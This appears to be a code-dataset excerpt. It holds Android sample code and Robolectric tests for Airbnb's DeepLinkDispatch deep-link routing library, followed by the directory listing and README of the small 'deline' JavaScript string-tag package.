test\n */\n @DeepLink(\"dld://host/intent/{abc}\")\n @JvmStatic\n fun sampleDuplicatedUrlWithDifferentPlaceholderName1(context: Context?): Intent? {\n return null\n }\n\n /**\n * This will not create an error during index creation but could be found by writing a test\n */\n @DeepLink(\"dld://host/intent/{def}\")\n @JvmStatic\n fun sampleDuplicatedUrlWithDifferentPlaceholderName2(context: Context?): Intent? {\n return null\n }\n\n /**\n * This method is a less concrete match for the URI\n * dld://host/somePathOne/somePathTwo/somePathThree to a annotated method in `sample-library`\n * that is annotated with @DeepLink(\"dld://host/somePathOne/somePathTwo/somePathThree\") and thus\n * will always be picked over this method when matching.\n *\n * @param context\n * @param bundle\n * @return\n */\n @DeepLink(\"placeholder://host/somePathOne/{param1}/somePathThree\")\n @JvmStatic\n fun lessConcreteMatch(context: Context?, bundle: Bundle?): Intent {\n return handleConcreteMatchLink(context, bundle)\n }\n\n @DeepLink(\"placeholder://host/{param1}/somePathTwoAlt/somePathThreeAlt\")\n @JvmStatic\n fun lessConcreteMatchAlt(context: Context, bundle: Bundle): Intent {\n return handleConcreteMatchLink(context, bundle)\n }\n\n @DeepLink(\"placeholder://host/{param1}/{param2}/{param3}\")\n @JvmStatic\n fun lessConcreteMatchMany(context: Context, bundle: Bundle): Intent {\n return handleConcreteMatchLink(context, bundle)\n }\n\n private fun handleConcreteMatchLink(context: Context?, bundle: Bundle?): Intent {\n if (bundle != null && bundle.containsKey(\"param1\")) {\n Log.d(\n MainActivity.TAG,\n \"matched less concrete url in sample project :\" + bundle.getString(\"param1\")\n )\n }\n return Intent(\n context,\n MainActivity::class.java\n ).setAction(MainActivity.ACTION_DEEP_LINK_METHOD)\n }\n}\n", "sample\\src\\main\\java\\com\\airbnb\\deeplinkdispatch\\sample\\SampleApplication.java": "package com.airbnb.deeplinkdispatch.sample;\n\nimport android.app.Application;\nimport android.content.IntentFilter;\nimport androidx.localbroadcastmanager.content.LocalBroadcastManager;\n\nimport com.airbnb.deeplinkdispatch.DeepLinkHandler;\n\npublic class SampleApplication extends Application {\n @Override public void onCreate() {\n super.onCreate();\n IntentFilter intentFilter = new IntentFilter(DeepLinkHandler.ACTION);\n LocalBroadcastManager.getInstance(this).registerReceiver(new DeepLinkReceiver(), intentFilter);\n }\n}\n", "sample\\src\\main\\res\\layout\\sample_activity_main.xml": "<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n android:paddingLeft=\"@dimen/activity_horizontal_margin\"\n android:paddingRight=\"@dimen/activity_horizontal_margin\"\n android:paddingTop=\"@dimen/activity_vertical_margin\"\n android:paddingBottom=\"@dimen/activity_vertical_margin\"\n tools:context=\".MainActivity\">\n\n <TextView\n android:text=\"@string/sample_hello_world\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"/>\n\n</RelativeLayout>\n", "sample\\src\\test\\java\\com\\airbnb\\deeplinkdispatch\\sample\\AppDeepLinkDelegateTest.kt": "package com.airbnb.deeplinkdispatch.sample\n\nimport com.airbnb.deeplinkdispatch.sample.benchmarkable.BenchmarkDeepLinkModuleRegistry\nimport com.airbnb.deeplinkdispatch.sample.kaptlibrary.KaptLibraryDeepLinkModuleRegistry\nimport com.airbnb.deeplinkdispatch.sample.library.LibraryDeepLinkModuleRegistry\nimport org.hamcrest.MatcherAssert\nimport org.hamcrest.core.Is\nimport org.hamcrest.core.IsEqual\nimport org.junit.Test\nimport org.junit.runner.RunWith\nimport org.robolectric.RobolectricTestRunner\nimport org.robolectric.annotation.Config\n\n@Config(sdk = [21], manifest = \"../sample/src/main/AndroidManifest.xml\")\n@RunWith(RobolectricTestRunner::class)\nclass AppDeepLinkDelegateTest {\n\n // Demo test to find duplicate URLs across all modules\n @Test\n fun testDuplicatedEntries() {\n val configurablePlaceholdersMap = mapOf(\n \"configPathOne\" to \"somePathThree\",\n \"configurable-path-segment-one\" to \"\",\n \"configurable-path-segment\" to \"\",\n \"configurable-path-segment-two\" to \"\",\n \"configPathOne\" to \"somePathOne\"\n )\n val deepLinkDelegate = DeepLinkDelegate(\n SampleModuleRegistry(),\n LibraryDeepLinkModuleRegistry(),\n BenchmarkDeepLinkModuleRegistry(),\n KaptLibraryDeepLinkModuleRegistry(),\n configurablePlaceholdersMap\n )\n MatcherAssert.assertThat(\n deepLinkDelegate.duplicatedDeepLinkEntries.size,\n IsEqual.equalTo(3)\n )\n MatcherAssert.assertThat(deepLinkDelegate.allDeepLinkEntries.any { it.uriTemplate == \"dld://host/intent/{abc}\" }, Is.`is`(true))\n MatcherAssert.assertThat(deepLinkDelegate.allDeepLinkEntries.any { it.uriTemplate == \"dld://host/intent/{def}\" }, Is.`is`(true))\n MatcherAssert.assertThat(deepLinkDelegate.allDeepLinkEntries.any { it.uriTemplate == \"dld://host/intent/{geh}\" }, Is.`is`(true))\n }\n}\n", "sample\\src\\test\\java\\com\\airbnb\\deeplinkdispatch\\sample\\MainActivityTest.java": "package com.airbnb.deeplinkdispatch.sample;\n\nimport android.content.ComponentName;\nimport android.content.Intent;\nimport android.net.Uri;\n\nimport com.airbnb.deeplinkdispatch.DeepLink;\nimport com.airbnb.deeplinkdispatch.DeepLinkDispatch;\nimport com.airbnb.deeplinkdispatch.sample.benchmarkable.BenchmarkDeepLinkModuleRegistry;\nimport com.airbnb.deeplinkdispatch.sample.library.LibraryActivity;\nimport com.airbnb.deeplinkdispatch.sample.library.LibraryDeepLinkModuleRegistry;\nimport com.airbnb.deeplinkdispatch.sample.kaptlibrary.KaptLibraryDeepLinkModuleRegistry;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.robolectric.Robolectric;\nimport org.robolectric.RobolectricTestRunner;\nimport org.robolectric.RuntimeEnvironment;\nimport org.robolectric.annotation.Config;\nimport org.robolectric.shadows.ShadowActivity;\nimport org.robolectric.shadows.ShadowApplication;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.core.IsEqual.equalTo;\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNotNull;\nimport static org.junit.Assert.assertNull;\nimport static org.robolectric.Shadows.shadowOf;\n\nimport androidx.core.app.TaskStackBuilder;\n\n@Config(sdk = 21, manifest = \"../sample/src/main/AndroidManifest.xml\", shadows = {ShadowTaskStackBuilder.class})\n@RunWith(RobolectricTestRunner.class)\npublic class MainActivityTest {\n @Test\n public void testIntent() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/somePath/1234321\"))\n .putExtra(\"TEST_EXTRA\", \"FOO\");\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"arbitraryNumber\"), equalTo(\"1234321\"));\n assertThat(launchedIntent.getStringExtra(\"TEST_EXTRA\"), equalTo(\"FOO\"));\n assertThat(launchedIntent.getAction(), equalTo(\"deep_link_complex\"));\n assertThat(launchedIntent.<Uri>getParcelableExtra(DeepLink.REFERRER_URI).toString(),\n equalTo(\"dld://host/somePath/1234321\"));\n assertThat(launchedIntent.getData(), equalTo(Uri.parse(\"dld://host/somePath/1234321\")));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"dld://host/somePath/1234321\"));\n }\n\n @Test\n public void testIntentViaMethodResult() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResult/intent\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT));\n }\n\n @Test\n public void testIntentViaInnerClassMethodResult() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://innerClassDeeplink\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INNER));\n }\n\n @Test\n public void testIntentViaMethodResultWithFinalParameter() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResultFinalParameter/intent\"));\n intent.putExtra(\"finalExtra\", \"set by launcher\");\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT));\n assertThat(launchedIntent.getStringExtra(\"finalExtra\"), equalTo(\"set in app\"));\n }\n\n @Test\n public void testMethodDeeplinkWithOverrideParamAndQueryParam() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://methodDeepLinkOverride/set_in_url?queryParam=set_in_url\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT));\n assertThat(launchedIntent.getStringExtra(\"param1\"), equalTo(\"set_in_app\"));\n assertThat(launchedIntent.getStringExtra(\"queryParam\"), equalTo(\"set_in_app\"));\n }\n\n @Test\n public void testIntentViaMethodResultWithParameter() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResult/intent/someValue\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT));\n assertThat(launchedIntent.getStringExtra(\"parameter\"), equalTo(\"someValue\"));\n }\n\n @Test\n public void testTaskStackBuilderViaMethodResult() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResult/taskStackBuilder\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowApplication shadowApplication = shadowOf(RuntimeEnvironment.application);\n Intent launchedIntent = shadowApplication.getNextStartedActivity();\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_TASK_STACK_BUILDER));\n\n Intent parentIntent = shadowApplication.getNextStartedActivity();\n assertNotNull(parentIntent);\n assertThat(parentIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n assertThat(parentIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_TASK_STACK_BUILDER));\n }\n\n @Test\n public void testIntentAndTaskStackBuilderViaMethodResult() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResult/intentAndTaskStackBuilder\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowApplication shadowApplication = shadowOf(RuntimeEnvironment.application);\n Intent launchedIntent = shadowApplication.getNextStartedActivity();\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT_AND_TASK_STACK_BUILDER));\n\n Intent parentIntent = shadowApplication.getNextStartedActivity();\n assertNotNull(parentIntent);\n assertThat(parentIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n assertThat(parentIntent.getAction(), equalTo(MainActivity.ACTION_DEEP_LINK_INTENT_AND_TASK_STACK_BUILDER));\n }\n\n @Test\n public void testPartialSegmentPlaceholderStart() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"http://example.com/test123bar\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"arg_start\"), equalTo(\"test123\"));\n assertThat(launchedIntent.getAction(), equalTo(Intent.ACTION_VIEW));\n assertThat(launchedIntent.getData(), equalTo(Uri.parse(\"http://example.com/test123bar\")));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"http://example.com/test123bar\"));\n }\n\n @Test\n public void testPartialSegmentPlaceholderEnd() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"http://example.com/footest123\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"arg_end\"), equalTo(\"test123\"));\n assertThat(launchedIntent.getAction(), equalTo(Intent.ACTION_VIEW));\n assertThat(launchedIntent.getData(), equalTo(Uri.parse(\"http://example.com/footest123\")));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"http://example.com/footest123\"));\n }\n\n @Test\n public void testQueryParams() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://classDeepLink?foo=bar\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"foo\"), equalTo(\"bar\"));\n assertThat(launchedIntent.getAction(), equalTo(Intent.ACTION_VIEW));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"dld://classDeepLink?foo=bar\"));\n }\n\n @Test\n public void testQueryParamsWithBracket() {\n Intent intent =\n new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://classDeepLink?foo[max]=123\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"foo[max]\"), equalTo(\"123\"));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"dld://classDeepLink?foo[max]=123\"));\n }\n\n @Test\n public void testHttpScheme() {\n Intent intent = new Intent(Intent.ACTION_VIEW,\n Uri.parse(\"http://example.com/fooball?baz=something\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"baz\"), equalTo(\"something\"));\n assertThat(launchedIntent.getStringExtra(\"arg_end\"), equalTo(\"ball\"));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"http://example.com/fooball?baz=something\"));\n }\n\n\n @Test\n public void testTaskStackBuilderIntents() {\n Intent intent = new Intent(Intent.ACTION_VIEW,\n Uri.parse(\"http://example.com/deepLink/testid/testname/testplace\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowApplication shadowApplication = shadowOf(RuntimeEnvironment.application);\n Intent launchedIntent = shadowApplication.getNextStartedActivity();\n assertNotNull(launchedIntent);\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, SecondActivity.class)));\n\n assertThat(launchedIntent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false), equalTo(true));\n assertThat(launchedIntent.getStringExtra(\"id\"), equalTo(\"testid\"));\n assertThat(launchedIntent.getStringExtra(\"name\"), equalTo(\"testname\"));\n assertThat(launchedIntent.getStringExtra(\"place\"), equalTo(\"testplace\"));\n assertThat(launchedIntent.getStringExtra(DeepLink.URI),\n equalTo(\"http://example.com/deepLink/testid/testname/testplace\"));\n\n Intent parentIntent = shadowApplication.getNextStartedActivity();\n assertNotNull(parentIntent);\n assertThat(parentIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, MainActivity.class)));\n Intent nextNullIntent = shadowApplication.getNextStartedActivity();\n assertNull(nextNullIntent);\n }\n\n @Test\n public void testSupportsUri() throws Exception {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-one\", \"belong\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-two\", \"anywhere\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n assertThat(deepLinkDelegate.supportsUri(\"dld://classDeepLink\"), equalTo(true));\n assertThat(deepLinkDelegate.supportsUri(\"some://weirdNonExistentUri\"), equalTo(false));\n }\n\n @Test\n public void testSameLengthComponentsMismatch() throws Exception {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-one\", \"belong\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-two\", \"anywhere\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n assertThat(deepLinkDelegate.supportsUri(\"dld://classDeepLink\"), equalTo(true));\n assertThat(deepLinkDelegate.supportsUri(\"dld://classDeepLinx\"), equalTo(false));\n }\n\n @Test\n public void testConfigurablePathSegmentMatch() {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-one\", \"belong\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-two\", \"anywhere\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/capnMcCains/bar\"), equalTo(false));\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/obamaOs/bar\"), equalTo(true));\n }\n\n @Test\n public void testMissingKeysThrowsIAException() {\n DeepLinkDispatch.setValidationExecutor(TestUtils.getImmediateExecutor());\n String message = \"\";\n try {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n } catch (IllegalArgumentException e) {\n message = e.getMessage();\n }\n\n //Alternatively, we could have used @Test(expected = IllegalArgumentException.class), but I wanted to assert this message.\n assertEquals(\"Keys not found in BaseDeepLinkDelegate's mapping of PathVariableReplacementValues. Missing keys are:\\n\" +\n \"configurable-path-segment-one,\\n\" +\n \"configurable-path-segment-two.\\n\" +\n \"Keys in mapping are:\\n\" +\n \"configurable-path-segment.\", message);\n }\n\n @Test\n public void testPathSegmentUriNoMatch() {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-one\", \"belong\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-two\", \"anywhere\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/<capnMccains>/bar\"), equalTo(false));\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/<obamaOs>/bar\"), equalTo(false));\n }\n\n @Test\n public void testTwoConfigurablePathSegmentsMatch() {\n Map<String, String> configurablePathSegmentReplacements = new HashMap<>();\n configurablePathSegmentReplacements.put(\"configurable-path-segment\", \"obamaOs\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-one\", \"belong\");\n configurablePathSegmentReplacements.put(\"configurable-path-segment-two\", \"anywhere\");\n DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(new SampleModuleRegistry(),\n new LibraryDeepLinkModuleRegistry(), new BenchmarkDeepLinkModuleRegistry(), new KaptLibraryDeepLinkModuleRegistry(), configurablePathSegmentReplacements);\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/anywhere/belong/foo\"), equalTo(false));\n assertThat(deepLinkDelegate.supportsUri(\"https://www.example.com/belong/anywhere/foo\"), equalTo(true));\n }\n\n @Test\n public void testMoreConcreteMatch() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"placeholder://host/somePathOne/somePathTwo/somePathThree\"));\n testMatchConcreteness(intent);\n }\n\n @Test\n public void testMoreConcreteMatchAlt() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"placeholder://host/somePathOneAlt/somePathTwoAlt/somePathThreeAlt\"));\n testMatchConcreteness(intent);\n }\n\n @Test\n public void testMoreConcreteMatchMany() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"placeholder://host/somePathOneMany/somePathTwoMany/somePathThreeMany\"));\n testMatchConcreteness(intent);\n }\n\n private void testMatchConcreteness(Intent intent) {\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n Intent launchedIntent = shadowActivity.peekNextStartedActivityForResult().intent;\n assertThat(launchedIntent.getComponent(),\n equalTo(new ComponentName(deepLinkActivity, LibraryActivity.class)));\n }\n\n @Test\n public void testNullDeepLinkMethodResult() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/methodResult/null\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n assertNull(shadowActivity.peekNextStartedActivityForResult());\n }\n\n @Test\n public void testNullTaskStackBuilder() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/taskStackBuilder/null\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n assertNull(shadowActivity.peekNextStartedActivityForResult());\n }\n\n @Test\n public void testNullIntent() {\n Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"dld://host/intent/null\"));\n DeepLinkActivity deepLinkActivity = Robolectric.buildActivity(DeepLinkActivity.class, intent)\n .create().get();\n ShadowActivity shadowActivity = shadowOf(deepLinkActivity);\n assertNull(shadowActivity.peekNextStartedActivityForResult());\n }\n}\n", "sample-benchmarkable-library\\src\\main\\res\\layout\\scale_activity_main.xml": "<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n tools:context=\".ScaleTestActivity\">\n\n <TextView\n android:text=\"@string/benchmark_hello_world\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"/>\n\n</RelativeLayout>\n"} | null |
deline | {"type": "directory", "name": "deline", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "deline.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "deline-tests.js"}, {"type": "file", "name": "mocha.opts"}]}]} | # deline
An ES6 string tag that strips unwanted newlines from multi-line strings.
## Usage
```js
import deline from 'deline';
function usageExample() {
const example1 = deline`
A string that’s too long to put on one line, so you decide to put it on multiple lines, but it
actually isn’t supposed to have newlines in it because it’s just one long string.
Except for above this line, which is ACTUALLY supposed to be a newline. But aside from that, no
newlines. And we don’t want any leading/trailing lines, of course.\n
Wait! Actually, we really want two newlines above this part. Otherwise it will look weird. One
newline just isn’t enough, you know? Well, we have to be explicit about it with that newline
character up there, but that’s no problem.
`;
const example2 = deline(`
Also, deline can also be used as a function. Neat!
`);
return example1 + '\n\n' + example2;
}
```
```js
> console.log(usageExample());
```
```
A string that’s too long to put on one line, so you decide to put it on multiple lines, but it actually isn’t supposed to have newlines in it because it’s just one long string.
Except for above this line, which is ACTUALLY supposed to be a newline. But aside from that, no newlines. And we don’t want any leading/trailing lines, of course.
Wait! Actually, we really want two newlines above this part. Otherwise it will look weird. One newline just isn’t enough, you know? Well, we have to be explicit about it with that newline character up there, but that’s no problem.
Also, deline can also be used as a function. Neat!
```
## Acknowledgements
Deline is inspired by, and based on, the [dedent](https://github.com/dmnd/dedent) package. Thanks [@dmnd](https://github.com/dmnd)!
## License
MIT
